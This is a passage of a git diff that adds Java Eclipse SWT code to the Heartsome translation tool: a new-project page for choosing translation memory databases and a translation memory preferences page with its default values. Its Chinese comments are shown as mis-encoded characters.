net.heartsome.cat.database.ui.tm.wizard.NewTmDbWizard; +import net.heartsome.cat.ts.ui.extensionpoint.AbstractNewProjectWizardPage; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.CellEditor; +import org.eclipse.jface.viewers.CheckboxCellEditor; +import org.eclipse.jface.viewers.ColumnLabelProvider; +import org.eclipse.jface.viewers.EditingSupport; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class NewProjectTmPage extends AbstractNewProjectWizardPage { + + private static final Logger LOGGER = LoggerFactory.getLogger(NewProjectTmPage.class); + + private TableViewer tableViewer; + private List curDbList; + private Image checkedImage = Activator.getImageDescriptor(ImageConstants.CHECKED).createImage(); + private Image uncheckedImage = Activator.getImageDescriptor(ImageConstants.UNCHECKED).createImage(); + + /** + * Create the wizard. + */ + public NewProjectTmPage() { + super("wizardPage", "TM"); + setTitle(Messages.getString("newproject.NewProjectTmPage.title")); + setDescription(Messages.getString("newproject.NewProjectTmPage.desc")); + + curDbList = new ArrayList(); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(1, false)); + + tableViewer = new TableViewer(container, SWT.BORDER | SWT.FULL_SELECTION | SWT.SINGLE); + Table table = tableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + table.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + tableViewer.setContentProvider(new ArrayContentProvider()); + createColumn(tableViewer); + tableViewer.setInput(curDbList); + tableViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection selection = (IStructuredSelection) tableViewer.getSelection(); + DatabaseModelBean dbModel = (DatabaseModelBean) selection.getFirstElement(); + if (dbModel != null && !dbModel.isHasMatch()) { + setMessage(Messages.getString("newproject.NewProjectTmPage.msg1")); + } else { + setMessage(null); + } + } + }); + + Composite composite = new Composite(container, SWT.NONE); + composite.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + composite.setLayout(new GridLayout(5, false)); + new Label(composite, SWT.NONE); + + HSDropDownButton addBtn = new HSDropDownButton(composite, SWT.NONE); + addBtn.setText(Messages.getString("projectsetting.ProjectSettingTMPage.addBtn")); + Menu addMenu = addBtn.getMenu(); + MenuItem item = new MenuItem(addMenu, SWT.PUSH); + item.setText(Messages.getString("tm.dialog.addTm.DropDownButton.AddFileTm")); + item.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent e) { + FileDialog fileDialg = new FileDialog(getShell()); + fileDialg.setFilterExtensions(new String[] { "*.hstm", "*.*" }); + String result = fileDialg.open(); + if (result == null) { + return; + } + File f = new File(result); + if (!f.exists()) { + return; + } + Map r = null; + try { + r = Utils.convertFile2TmModel(f, false); + } catch (Exception e1) { + MessageDialog.openError(getShell(), Messages.getString("tm.dialog.addFileTm.errorTitle"), + e1.getMessage()); + } + if (r == null) { + return; + } + Iterator it = r.keySet().iterator(); + if (it.hasNext()) { + DatabaseModelBean selectedVal = it.next(); + List dbList = new ArrayList(); + dbList.add(selectedVal); + addToCurrDbList(dbList); + } + } + }); + MenuItem serverItem = new MenuItem(addMenu, SWT.PUSH); + serverItem.setText(Messages.getString("tm.dialog.addTm.DropDownButton.AddServerTm")); + serverItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + TmDbManagerDialog dialog = new TmDbManagerDialog(getShell()); + dialog.setDialogUseFor(TmDbManagerDialog.TYPE_DBSELECTED); + if (dialog.open() == Window.OK) { + Iterator it = dialog.getHasSelectedDatabase().keySet().iterator(); + List dbList = new ArrayList(); + while (it.hasNext()) { + dbList.add(it.next()); + } + addToCurrDbList(dbList); + } + } + }); + + Button createBtn = new Button(composite, SWT.NONE); + createBtn.setText(Messages.getString("newproject.NewProjectTmPage.createBtn")); + createBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + NewTmDbWizard wizard = new NewTmDbWizard(); + ImportTmxWizardDialog dlg = new ImportTmxWizardDialog(getShell(), wizard); + if (dlg.open() == 0) { + DatabaseModelBean dbModel = wizard.getCreateDb(); + List dbList = new ArrayList(1); + dbList.add(dbModel); + addToCurrDbList(dbList); + } + } + }); + + Button removeBtn = new Button(composite, SWT.NONE); + removeBtn.setText(Messages.getString("newproject.NewProjectTmPage.removeBtn")); + removeBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + removeForCurrDbList((IStructuredSelection) tableViewer.getSelection()); + } + }); + + Button importTmxBtn = new Button(composite, SWT.NONE); + importTmxBtn.setText(Messages.getString("newproject.NewProjectTmPage.importTmxBtn")); + importTmxBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection selection = (IStructuredSelection) tableViewer.getSelection(); + Iterator it = selection.iterator(); + if (it.hasNext()) { + DatabaseModelBean dbModel = (DatabaseModelBean) it.next(); + ImportTmxWizard wizard = new ImportTmxWizard(dbModel); + ImportTmxWizardDialog dlg = new ImportTmxWizardDialog(getShell(), wizard); + if (dlg.open() == 0) { + checkDbHashMatch(dbModel, "M"); + tableViewer.refresh(); + } + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("newproject.NewProjectTmPage.msgTitle"), + Messages.getString("newproject.NewProjectTmPage.msg1")); + } + } + }); + addBtn.setFocus(); + setControl(container); + } + + /** + * 将选中的内容添加到列表中 + * @param selection + * ; + */ + private void addToCurrDbList(List hasSelection) { + StringBuffer existDbNames = new StringBuffer(); + for (int i = 0; i < hasSelection.size(); i++) { + DatabaseModelBean dbModel = hasSelection.get(i); + + checkDbHashMatch(dbModel, "M"); + if (!checkDbIsExist(curDbList, dbModel)) { + if (curDbList.size() == 0) { // 第一个添加的库为默认库 + dbModel.setDefault(true); + } + curDbList.add(dbModel); + this.tableViewer.refresh(); + } else { + existDbNames.append(dbModel.getDbName()); + existDbNames.append("\n"); + } + } + if (existDbNames.length() != 0) { + MessageDialog.openInformation(getShell(), Messages.getString("newproject.NewProjectTmPage.msgTitle"), + Messages.getString("newproject.NewProjectTmPage.msg2") + existDbNames.toString()); + } + } + + /** + * 检查当å‰åº“是å¦å·²ç»å­˜åœ¨ + * @param b + * @return ; + */ + private boolean checkDbIsExist(List curDbList, DatabaseModelBean b) { + for (int i = 0; i < curDbList.size(); i++) { + DatabaseModelBean a = (DatabaseModelBean) curDbList.get(i); + String dbname = a.getDbName(); + String host = a.getHost(); + String port = a.getPort(); + String instance = a.getInstance(); + String localPath = a.getItlDBLocation(); + if (b.getDbName().equals(dbname) && b.getHost().equals(host) && b.getItlDBLocation().equals(localPath) + && b.getPort().equals(port) && b.getInstance().equals(instance)) { + return true; + } + } + return false; + } + + /** + * 从当å‰åˆ—表中删除选中的库 + * @param selection + * ; + */ + private void removeForCurrDbList(IStructuredSelection selection) { + curDbList.removeAll(selection.toList()); + this.tableViewer.remove(selection.toArray()); + } + + /** + * 创建Table列 + * @param viewer + * ; + */ + private void createColumn(final TableViewer viewer) { + String[] clmnTitles = { Messages.getString("newproject.NewProjectTmPage.clmnTitles1"), + Messages.getString("newproject.NewProjectTmPage.clmnTitles2"), + Messages.getString("newproject.NewProjectTmPage.clmnTitles3"), + Messages.getString("newproject.NewProjectTmPage.clmnTitles4"), + Messages.getString("newproject.NewProjectTmPage.clmnTitles5") }; + int[] clmnBounds = { 100, 100, 200, 90, 70 }; + + TableViewerColumn col = createTableViewerColumn(viewer, clmnTitles[0], clmnBounds[0], 0); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + return dbModel.getDbName(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[1], clmnBounds[1], 1); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.getDbType().equals(Constants.DBTYPE_SQLITE)) { + return Messages.getString("tm.dbtype.sqlite"); + } + return dbModel.getDbType(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[2], clmnBounds[2], 2); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.getDbType().equals(Constants.DBTYPE_INTERNALDB) + || dbModel.getDbType().equals(Constants.DBTYPE_SQLITE)) { + return dbModel.getItlDBLocation(); + } + return dbModel.getHost(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[3], clmnBounds[3], 3); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.isHasMatch()) { + return Messages.getString("newproject.NewProjectTmPage.yes"); + } else { + return Messages.getString("newproject.NewProjectTmPage.no"); + } + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[4], clmnBounds[4], 4); + col.setLabelProvider(new ColumnLabelProvider() { + public Image getImage(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.isDefault()) { + return checkedImage; + } else { + return uncheckedImage; + } + } + + public String getText(Object element) { + return null; + } + }); + col.setEditingSupport(new ReadableEditingSupport(viewer)); + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + + } + + /** + * Cell Editing Support for readable + * @author Jason + * @version + * @since JDK1.6 + */ + private class ReadableEditingSupport extends EditingSupport { + private final TableViewer viewer; + + public ReadableEditingSupport(TableViewer viewer) { + super(viewer); + this.viewer = viewer; + } + + @Override + protected CellEditor getCellEditor(Object element) { + return new CheckboxCellEditor(null, SWT.CHECK); + } + + @Override + protected boolean canEdit(Object element) { + return true; + } + + @Override + protected Object getValue(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + return dbModel.isDefault(); + } + + @Override + protected void setValue(Object element, Object value) { + if (!(Boolean) value) { + return; + } + // 实现å•é€‰ + List dbList = (List) viewer.getInput(); + for (int i = 0; i < dbList.size(); i++) { + ((DatabaseModelBean) dbList.get(i)).setDefault(false); + } + // 实现å•é€‰ + + // 执行修改 + DatabaseModelBean dbModel = (DatabaseModelBean) element; + dbModel.setDefault((Boolean) value); + + // 刷新 + viewer.refresh(); + } + } + + /** + * 需è¦è°ƒç”¨Databaseæ¨¡å— æ£€æŸ¥å½“å‰é¡¹ç›®åœ¨åº“中是å¦æœ‰è¯­è¨€å¯¹çš„åŒ¹é… + * @param dbModel + * æ•°æ®åº“ä¿¡æ¯; + */ + private void checkDbHashMatch(DatabaseModelBean dbModel, String type) { + DBOperator dbOp = DatabaseService.getDBOperator(dbModel.toDbMetaData()); + try { + dbOp.start(); + dbModel.setHasMatch(dbOp.checkHasMatchs(super.projSourceLang.getCode(), type)); + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + dbModel.setHasMatch(false); + } finally { + try { + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + + @Override + public List getSelectedDatabase() { + List tmDbList = new ArrayList(); + for (int i = 0; i < curDbList.size(); i++) { + tmDbList.add((DatabaseModelBean) curDbList.get(i)); + } + return tmDbList; + } + + @Override + public void dispose() { + if (checkedImage != null && !checkedImage.isDisposed()) { + checkedImage.dispose(); + } + if (uncheckedImage != null && !uncheckedImage.isDisposed()) { + uncheckedImage.dispose(); + } + super.dispose(); + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/preference/TMDatabaseInitializer.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/preference/TMDatabaseInitializer.java new file mode 100644 index 0000000..fcec90b --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/preference/TMDatabaseInitializer.java @@ -0,0 +1,45 @@ +package net.heartsome.cat.database.ui.tm.preference; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.database.bean.TMPreferenceConstants; +import net.heartsome.cat.database.ui.tm.Activator; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * å¯¹è®°å¿†åº“ï¼Œæœ¯è¯­åº“è®¾ç½®é»˜è®¤å€¼å¸¸é‡ + * @author peason + * @version + * @since JDK1.6 + */ +public class TMDatabaseInitializer extends AbstractPreferenceInitializer { + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + store.setDefault(TMPreferenceConstants.CASE_SENSITIVE, false); + store.setDefault(TMPreferenceConstants.IGNORE_MARK, true); + if (CommonFunction.checkEdition("U")) { + store.setDefault(TMPreferenceConstants.CONTEXT_MATCH, 1); + } else { + store.setDefault(TMPreferenceConstants.CONTEXT_MATCH, 0); + } + store.setDefault(TMPreferenceConstants.MAX_MATCH_NUMBER, 5); + store.setDefault(TMPreferenceConstants.TAG_PENALTY, 2); //标记罚分 + + store.setDefault(TMPreferenceConstants.MIN_MATCH, "70"); + + store.setDefault(TMPreferenceConstants.MATCH_PERCENTAGE_SORT_WITH_EQUAL, TMPreferenceConstants.DEFAULT_DB_PRECEDENCE); + store.setDefault(TMPreferenceConstants.TM_UPDATE, TMPreferenceConstants.TM_ALWAYS_ADD); + + // åˆå§‹åŒ–新建å‘导记ä½ä¿¡æ¯ + store.setDefault(TMPreferenceConstants.TM_RM_DBTYPE, ""); + store.setDefault(TMPreferenceConstants.TM_RM_INSTANCE, ""); + store.setDefault(TMPreferenceConstants.TM_RM_SERVER, ""); + store.setDefault(TMPreferenceConstants.TM_RM_PORT, ""); + store.setDefault(TMPreferenceConstants.TM_RM_PATH, ""); + store.setDefault(TMPreferenceConstants.TM_RM_USERNAME, ""); + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/preference/TMDatabasePage.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/preference/TMDatabasePage.java new file mode 100644 index 0000000..0f7dc78 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/preference/TMDatabasePage.java @@ -0,0 +1,345 @@ +package net.heartsome.cat.database.ui.tm.preference; + +import net.heartsome.cat.database.bean.TMPreferenceConstants; +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Spinner; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * 首选项 > è®°å¿†åº“è®¾ç½®ç•Œé¢ + * @author peason + * @version + * @since JDK1.6 + */ +public class TMDatabasePage extends PreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.database.ui.tm.preference.tmpage"; + + private IPreferenceStore preferenceStore; + + /** 上下文匹é…文本段选择按钮 */ + private Spinner contextSpi; + + /**
    备注,之å‰çš„ btnCaseSensitive 是区分大å°å†™ï¼Œè€ŒåŽæ¥æ”¹æˆå¿½ç•¥å¤§å°å†™ï¼Œæ„æ€æ°å¥½ç›¸å,故应å–å --robert 2012-12-10
    */ + private Button btnCaseSensitive; + + /** 是å¦å¿½ç•¥æ ‡è®°å¤é€‰æ¡† */ + private Button btnIsIgnoreMark; + + /** 最大匹é…数选择按钮 */ + private Spinner matchNumberSpi; + + private Label tagPenaltyLbl; + /** 标记罚分 */ + private Spinner tagPenaltySpi; + + /** 最低匹é…率选择按钮 */ + private Spinner minMatchSpi; + + /** 默认库优先å•é€‰æŒ‰é’® */ + private Button btnDefaultDBPrecedence; + + /** 更新时间倒åºæŽ’列å•é€‰æŒ‰é’® */ + private Button btnDateReverse; + + /** 记忆库更新策略 > 始终增加å•é€‰æŒ‰é’® */ + private Button btnAlwaysAdd; + + /** 记忆库更新策略 > é‡å¤è¦†ç›–å•é€‰æŒ‰é’® */ + private Button btnRepeatOverwrite; + + /** 记忆库更新策略 > é‡å¤å¿½ç•¥å•é€‰æŒ‰é’® */ + private Button btnRepeatIgnore; + + /** 组件是å¦åˆå§‹åŒ– -- robert,修改新建术语或记忆库点调置按钮所出现的组件未åˆå§‹åŒ–就调用的BUG */ + private boolean isInit = false; + + /** + * 构造函数 + */ + public TMDatabasePage() { + setTitle(Messages.getString("preference.TMDatabasePage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + @Override + protected Control createContents(Composite parent) { + isInit = true; + + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group commonGroup = new Group(tparent, SWT.NONE); + commonGroup.setLayout(new GridLayout()); + commonGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + commonGroup.setText(Messages.getString("preference.TMDatabasePage.commonGroup")); + // commonGroup.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLUE)); + + HsImageLabel setLabel = new HsImageLabel(Messages.getString("preference.TMDatabasePage.setLabel"), + Activator.getImageDescriptor("images/preference/tm/tm_database_32.png")); + Composite commonComp = setLabel.createControl(commonGroup); + commonComp.setLayout(new GridLayout()); + + btnCaseSensitive = new Button(commonComp, SWT.CHECK); + btnCaseSensitive.setText(Messages.getString("preference.TMDatabasePage.btnCaseSensitive")); + btnCaseSensitive.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnIsIgnoreMark = new Button(commonComp, SWT.CHECK); + btnIsIgnoreMark.setText(Messages.getString("preference.TMDatabasePage.btnIsIgnoreMark")); + btnIsIgnoreMark.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnIsIgnoreMark.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + setTagPenaltyEnable(); + } + public void widgetDefaultSelected(SelectionEvent e) { + setTagPenaltyEnable(); + } + }); + + //罚分制度 + Composite tagPenaltyCom = new Composite(commonComp, SWT.NONE); + tagPenaltyLbl = new Label(tagPenaltyCom, SWT.NONE); + tagPenaltyLbl.setText(Messages.getString("preference.TMDatabasePage.tagPenalty")); + + tagPenaltySpi = new Spinner(tagPenaltyCom, SWT.BORDER); + GridLayout pGl = new GridLayout(2, false); + pGl.marginHeight = 0; + pGl.marginWidth = 0; + tagPenaltyCom.setLayout(pGl); + tagPenaltySpi.setMinimum(1); + tagPenaltySpi.setMaximum(100); + + + Composite composite5 = new Composite(commonComp, SWT.NONE); + GridLayout gl = new GridLayout(3, false); + gl.marginHeight = 0; + gl.marginWidth = 0; + composite5.setLayout(gl); + Label minLabel = new Label(composite5, SWT.NONE); + minLabel.setText(Messages.getString("preference.TMDatabasePage.minLabel")); + minMatchSpi = new Spinner(composite5, SWT.BORDER); + minMatchSpi.setMinimum(35); + minMatchSpi.setMaximum(100); + new Label(composite5, SWT.NONE).setText("%"); + minMatchSpi.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String value = minMatchSpi.getText(); + if (null == value || "".equals(value.trim())) { + setValid(false); + setErrorMessage(Messages.getString("preference.TMDatabasePage.msg1")); + return; + } + try { + float floatValue = Float.parseFloat(value); + if (floatValue < 35 || floatValue > 100) { + setValid(false); + setErrorMessage(Messages.getString("preference.TMDatabasePage.msg2")); + return; + } + } catch (NumberFormatException ex) { + setValid(false); + setErrorMessage(Messages.getString("preference.TMDatabasePage.msg3")); + return; + } + setValid(true); + setErrorMessage(null); + } + }); + + if (CommonFunction.checkEdition("U")) { + Composite composite4 = new Composite(commonComp, SWT.NONE); + composite4.setLayout(gl); + new Label(composite4, SWT.NONE).setText(Messages.getString("preference.TMDatabasePage.contextSpi")); + contextSpi = new Spinner(composite4, SWT.BORDER); + new Label(composite4, SWT.NONE); + contextSpi.setMinimum(1); + contextSpi.setMaximum(100); + } + + Composite matchNumberComp = new Composite(commonComp, SWT.NONE); + new Label(matchNumberComp, SWT.NONE).setText(Messages.getString("preference.TMDatabasePage.matchNumberSpi")); + matchNumberSpi = new Spinner(matchNumberComp, SWT.BORDER); + GridLayout mGl = new GridLayout(2, false); + mGl.marginHeight = 0; + mGl.marginWidth = 0; + matchNumberComp.setLayout(mGl); + matchNumberSpi.setMinimum(1); + matchNumberSpi.setMaximum(10); + + + setLabel.computeSize();// 计算标签大å°/////////////// + + Group sortGroup = new Group(tparent, SWT.NONE); + sortGroup.setLayout(new GridLayout()); + sortGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + sortGroup.setText(Messages.getString("preference.TMDatabasePage.sortGroup")); + + HsImageLabel sortLabel = new HsImageLabel(Messages.getString("preference.TMDatabasePage.sortLabel"), + Activator.getImageDescriptor("images/preference/tm/trans_display_oder_32.png")); + Composite sortComp = sortLabel.createControl(sortGroup); + + btnDefaultDBPrecedence = new Button(sortComp, SWT.RADIO); + btnDefaultDBPrecedence.setText(Messages.getString("preference.TMDatabasePage.btnDefaultDBPrecedence")); + btnDefaultDBPrecedence.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnDateReverse = new Button(sortComp, SWT.RADIO); + btnDateReverse.setText(Messages.getString("preference.TMDatabasePage.btnDateReverse")); + btnDateReverse.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + sortLabel.computeSize(); + + Group updateCompGroup = new Group(tparent, SWT.NONE); + updateCompGroup.setLayout(new GridLayout()); + updateCompGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + updateCompGroup.setText(Messages.getString("preference.TMDatabasePage.updateCompGroup")); + + HsImageLabel updateLabel = new HsImageLabel(Messages.getString("preference.TMDatabasePage.updateLabel"), + Activator.getImageDescriptor("images/preference/tm/tm_update_32.png")); + + Composite updateComp = updateLabel.createControl(updateCompGroup); + + btnAlwaysAdd = new Button(updateComp, SWT.RADIO); + btnAlwaysAdd.setText(Messages.getString("preference.TMDatabasePage.btnAlwaysAdd")); + btnAlwaysAdd.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnRepeatOverwrite = new Button(updateComp, SWT.RADIO); + btnRepeatOverwrite.setText(Messages.getString("preference.TMDatabasePage.btnRepeatOverwrite")); + btnRepeatOverwrite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnRepeatIgnore = new Button(updateComp, SWT.RADIO); + btnRepeatIgnore.setText(Messages.getString("preference.TMDatabasePage.btnRepeatIgnore")); + btnRepeatIgnore.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + updateLabel.computeSize(); + + // boolean showDialog = preferenceStore.getBoolean(DatabaseConstants.SHOW_DIALOG_EACH_OPEN_FILE); + int intMatch = preferenceStore.getInt(TMPreferenceConstants.MATCH_PERCENTAGE_SORT_WITH_EQUAL); + int intUpdateTM = preferenceStore.getInt(TMPreferenceConstants.TM_UPDATE); + setInitValues(false, intMatch, intUpdateTM); + + return parent; + } + + private void setTagPenaltyEnable(){ + boolean ignoreTag = btnIsIgnoreMark.getSelection(); + tagPenaltyLbl.setEnabled(!ignoreTag); + tagPenaltySpi.setEnabled(!ignoreTag); + } + + @Override + protected void performDefaults() { + // boolean openDialog = preferenceStore.getDefaultBoolean(DatabaseConstants.SHOW_DIALOG_EACH_OPEN_FILE); + int intMatch = preferenceStore.getDefaultInt(TMPreferenceConstants.MATCH_PERCENTAGE_SORT_WITH_EQUAL); + int intUpdateTM = preferenceStore.getDefaultInt(TMPreferenceConstants.TM_UPDATE); + setInitValues(true, intMatch, intUpdateTM); + setTagPenaltyEnable(); + } + + @Override + public boolean performOk() { + if (!isInit) { + return true; + } + + // 备注,之å‰çš„ btnCaseSensitive 是区分大å°å†™ï¼Œè€ŒåŽæ¥æ”¹æˆå¿½ç•¥å¤§å°å†™ï¼Œæ„æ€æ°å¥½ç›¸å,故应å–å --robert 2012-12-10 + preferenceStore.setValue(TMPreferenceConstants.CASE_SENSITIVE, !btnCaseSensitive.getSelection()); + preferenceStore.setValue(TMPreferenceConstants.IGNORE_MARK, btnIsIgnoreMark.getSelection()); + if (CommonFunction.checkEdition("U")) { + preferenceStore.setValue(TMPreferenceConstants.CONTEXT_MATCH, contextSpi.getSelection()); + } + preferenceStore.setValue(TMPreferenceConstants.MAX_MATCH_NUMBER, matchNumberSpi.getSelection()); + preferenceStore.setValue(TMPreferenceConstants.MIN_MATCH, minMatchSpi.getSelection()); + preferenceStore.setValue(TMPreferenceConstants.TAG_PENALTY, tagPenaltySpi.getSelection()); + + if (btnDefaultDBPrecedence.getSelection()) { + preferenceStore.setValue(TMPreferenceConstants.MATCH_PERCENTAGE_SORT_WITH_EQUAL, + TMPreferenceConstants.DEFAULT_DB_PRECEDENCE); + } else { + preferenceStore.setValue(TMPreferenceConstants.MATCH_PERCENTAGE_SORT_WITH_EQUAL, + TMPreferenceConstants.DATE_REVERSE_PRECEDENCE); + } + if (btnAlwaysAdd.getSelection()) { + preferenceStore.setValue(TMPreferenceConstants.TM_UPDATE, TMPreferenceConstants.TM_ALWAYS_ADD); + } else if (btnRepeatOverwrite.getSelection()) { + preferenceStore.setValue(TMPreferenceConstants.TM_UPDATE, TMPreferenceConstants.TM_REPEAT_OVERWRITE); + } else if (btnRepeatIgnore.getSelection()) { + preferenceStore.setValue(TMPreferenceConstants.TM_UPDATE, TMPreferenceConstants.TM_REPEAT_IGNORE); + } + return true; + } + + /** + * 设置默认值 + * @param blnIsApplyDefault + */ + private void setInitValues(boolean blnIsApplyDefault, int intMatch, int intUpdateTM) { + // btnOpenDialog.setSelection(openDialog); + if (!blnIsApplyDefault) { + btnCaseSensitive.setSelection(!preferenceStore.getBoolean(TMPreferenceConstants.CASE_SENSITIVE)); + btnIsIgnoreMark.setSelection(preferenceStore.getBoolean(TMPreferenceConstants.IGNORE_MARK)); + if (CommonFunction.checkEdition("U")) { + contextSpi.setSelection(preferenceStore.getInt(TMPreferenceConstants.CONTEXT_MATCH)); + } + matchNumberSpi.setSelection(preferenceStore.getInt(TMPreferenceConstants.MAX_MATCH_NUMBER)); + minMatchSpi.setSelection(preferenceStore.getInt(TMPreferenceConstants.MIN_MATCH)); + tagPenaltySpi.setSelection(preferenceStore.getInt(TMPreferenceConstants.TAG_PENALTY)); + } else { + btnCaseSensitive.setSelection(!preferenceStore.getDefaultBoolean(TMPreferenceConstants.CASE_SENSITIVE)); + btnIsIgnoreMark.setSelection(preferenceStore.getDefaultBoolean(TMPreferenceConstants.IGNORE_MARK)); + if (CommonFunction.checkEdition("U")) { + contextSpi.setSelection(preferenceStore.getDefaultInt(TMPreferenceConstants.CONTEXT_MATCH)); + } + matchNumberSpi.setSelection(preferenceStore.getDefaultInt(TMPreferenceConstants.MAX_MATCH_NUMBER)); + minMatchSpi.setSelection(preferenceStore.getDefaultInt(TMPreferenceConstants.MIN_MATCH)); + tagPenaltySpi.setSelection(preferenceStore.getDefaultInt(TMPreferenceConstants.TAG_PENALTY)); + } + + if (intMatch == TMPreferenceConstants.DEFAULT_DB_PRECEDENCE) { + btnDefaultDBPrecedence.setSelection(true); + btnDateReverse.setSelection(false); + } else if (intMatch == TMPreferenceConstants.DATE_REVERSE_PRECEDENCE) { + btnDefaultDBPrecedence.setSelection(false); + btnDateReverse.setSelection(true); + } + + if (intUpdateTM == TMPreferenceConstants.TM_ALWAYS_ADD) { + btnAlwaysAdd.setSelection(true); + btnRepeatOverwrite.setSelection(false); + btnRepeatIgnore.setSelection(false); + } else if (intUpdateTM == TMPreferenceConstants.TM_REPEAT_OVERWRITE) { + btnAlwaysAdd.setSelection(false); + btnRepeatOverwrite.setSelection(true); + btnRepeatIgnore.setSelection(false); + } else if (intUpdateTM == TMPreferenceConstants.TM_REPEAT_IGNORE) { + btnAlwaysAdd.setSelection(false); + btnRepeatOverwrite.setSelection(false); + 